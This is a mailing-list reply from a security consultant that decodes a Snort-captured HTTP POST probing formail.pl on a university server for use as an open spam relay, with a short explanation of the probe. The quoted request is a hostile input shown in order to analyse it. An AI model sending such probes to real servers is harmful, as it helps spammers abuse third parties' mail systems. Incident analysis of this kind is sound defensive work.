Hi Russell

I don't see any fancy unicode or DOS commands in here, so I would say it
is a relatively harmless probe for open formmail relays, probably for spam
use. There are a number of automated tools that look for old formail.pl
programs to exploit as relays. The POST translated to plain text follows (
the backslash breaks are mine for readability ) :

---------------------------------------------------------------
POST /cgi-bin/formail.pl HTTP/1.0
Via: 1.0 SERVER
Connection: Keep-Alive
Content-Length: 402
User-Agent: Mozilla/4.06 (Win95; I)
Content-Type: application/x-www-form-urlencoded
Host: www.cs.auckland.ac.nz
Accept: image/gif, image/x-xpixmap, image/jpeg, application/msword, */*
Referer: www.cs.auckland.ac.nz

email=daa18fdj10.com&recipient=<iikestyxaol.com>www.cs.auckland.ac.nz\
&subject=www.cs.auckland.ac.nz/cgi-bin/formail.pl oxy52\
&=

time/date: 08:20:19pm / 09/04/2002
<A HREF="www.cs.auckland.ac.nz/cgi-bin/formail.pl">\
www.cs.auckland.ac.nz/cgi-bin/formail.pl</A>

oxy52
---------------------------------------------------------------

It seems to be probing formail and getting it to send an Email back to the
spammer containing a URL for the vulnerable formail.

I've checked Google for "oxy52" but found nothing, its probabaly just a
tag for whoever is receiving the mail.

Kerry

Russell Fulton said:
> Hi All,
> Over the last week or so snort has been picking up many probes like
> this:
>
[snip]

-- 
Kerry Thompson, CISSP
Information Systems Security Consultant
http://www.crypt.gen.nz  kerrycrypt.gen.nz
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